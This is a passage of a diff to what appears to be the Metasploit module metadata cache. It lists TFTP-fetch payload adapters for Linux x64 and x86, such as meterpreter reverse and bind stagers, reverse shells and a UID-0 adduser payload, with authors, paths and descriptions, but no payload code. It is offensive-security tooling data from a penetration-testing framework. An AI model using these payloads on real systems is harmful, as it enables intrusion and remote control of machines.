"payload", + "author": [ + "Brendan Watters", + "Brent Cook ", + "ricky", + "tkmru" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/meterpreter_reverse_http": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/meterpreter_reverse_https": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/meterpreter_reverse_tcp": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/pingback_bind_tcp": { + "name": "TFTP Fetch, Linux x64 Pingback, Bind TCP Inline", + "fullname": "payload/cmd/linux/tftp/x64/pingback_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nAccept a connection from attacker and report UUID (Linux x64)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/pingback_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/pingback_reverse_tcp": { + "name": "TFTP Fetch, Linux x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/linux/tftp/x64/pingback_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and report UUID (Linux x64)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/pingback_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/shell/bind_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/shell/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/shell/reverse_sctp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/tftp/x64/shell/reverse_sctp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky", + "RageLtMan " + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell/reverse_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/shell/reverse_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/shell/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky", + "tkmru" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/shell_bind_ipv6_tcp": { + "name": "TFTP Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/tftp/x64/shell_bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "epi " + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for an IPv6 connection and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell_bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/shell_bind_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/tftp/x64/shell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/shell_bind_tcp_random_port": { + "name": "TFTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/tftp/x64/shell_bind_tcp_random_port", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Geyslan G. Bem " + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell_bind_tcp_random_port", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/shell_find_port": { + "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/tftp/x64/shell_find_port", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "mak" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a shell on an established connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell_find_port", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/shell_reverse_ipv6_tcp": { + "name": "TFTP Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/tftp/x64/shell_reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "epi " + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell over IPv6", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell_reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/shell_reverse_tcp": { + "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/tftp/x64/shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/adduser": { + "name": "TFTP Fetch, Linux Add User", + "fullname": "payload/cmd/linux/tftp/x86/adduser", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "vlad902 ", + "spoonm " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nCreate a new user with UID 0", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/adduser", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/chmod": { + "name": "TFTP Fetch, Linux Chmod", + "fullname": "payload/cmd/linux/tftp/x86/chmod", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "kris katterjohn " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nRuns chmod on specified file with specified mode", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/chmod", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/exec": { + "name": "TFTP Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/tftp/x86/exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "vlad902 ", + "Geyslan G. Bem " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nExecute an arbitrary command or just a /bin/sh shell", + "references": [ + "URL-https://github.com/geyslan/SLAE/blob/master/4th.assignment/tiny_execve_sh.asm", + "URL-https://github.com/geyslan/SLAE/blob/master/improvements/x86_execve_dyn.asm" + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/generic/debug_trap": { + "name": "TFTP Fetch, Generic x86 Debug Trap", + "fullname": "payload/cmd/linux/tftp/x86/generic/debug_trap", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "robert " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nGenerate a debug trap in the target process", + "references": [ + + ], + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/generic/debug_trap", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/generic/tight_loop": { + "name": "TFTP Fetch, Generic x86 Tight Loop", + "fullname": "payload/cmd/linux/tftp/x86/generic/tight_loop", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "jduck " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nGenerate a tight loop in the target process", + "references": [ + + ], + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/generic/tight_loop", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp": { + "name": "TFTP Fetch, Bind IPv6 TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "kris katterjohn ", + "egypt " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for an IPv6 connection (Linux x86)", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "kris katterjohn ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for an IPv6 connection with UUID Support (Linux x86)", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/meterpreter/bind_nonx_tcp": { + "name": "TFTP Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/bind_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/meterpreter/bind_tcp": { + "name": "TFTP Fetch, Bind TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection (Linux x86)", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/meterpreter/bind_tcp_uuid": { + "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection with UUID Support (Linux x86)", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/meterpreter/find_tag": { + "name": "TFTP Fetch, Find Tag Stager", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nUse an established connection", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/meterpreter/reverse_ipv6_tcp": { + "name": "TFTP Fetch, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "kris katterjohn " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to attacker over IPv6", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/meterpreter/reverse_nonx_tcp": { + "name": "TFTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape " + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/reverse_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/meterpreter/reverse_tcp": { + "name": "TFTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "tkmru" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/meterpreter/reverse_tcp_uuid": { + "name": "TFTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/meterpreter_reverse_http": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x86/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x86/meterpreter_reverse_https": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a x86 payload from a TFTP server.", "references": [ ], @@ -179256,10 +183481,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 11:49:38 +0000", - "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/https/x64/shell_reverse_tcp", + "ref_name": "cmd/linux/tftp/x86/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -179268,9 +183493,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/mips64/meterpreter_reverse_http": { + "payload_cmd/linux/tftp/x86/meterpreter_reverse_tcp": { "name": "TFTP Fetch", - "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_http", + "fullname": "payload/cmd/linux/tftp/x86/meterpreter_reverse_tcp", "aliases": [ ], @@ -179284,7 +183509,7 @@ "Brent Cook ", "timwr" ], - "description": "Fetch and execute a MIPS64 payload from a TFTP server.", + "description": "Fetch and execute a x86 payload from a TFTP server.", "references": [ ], @@ -179294,10 +183519,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 13:20:59 +0000", - "path": "/modules/payloads/adapters/cmd/linux/tftp/mips64.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x86.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/mips64/meterpreter_reverse_http", + "ref_name": "cmd/linux/tftp/x86/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179306,9 +183531,9 @@ "session_types": false, "needs_cleanup": false }, - 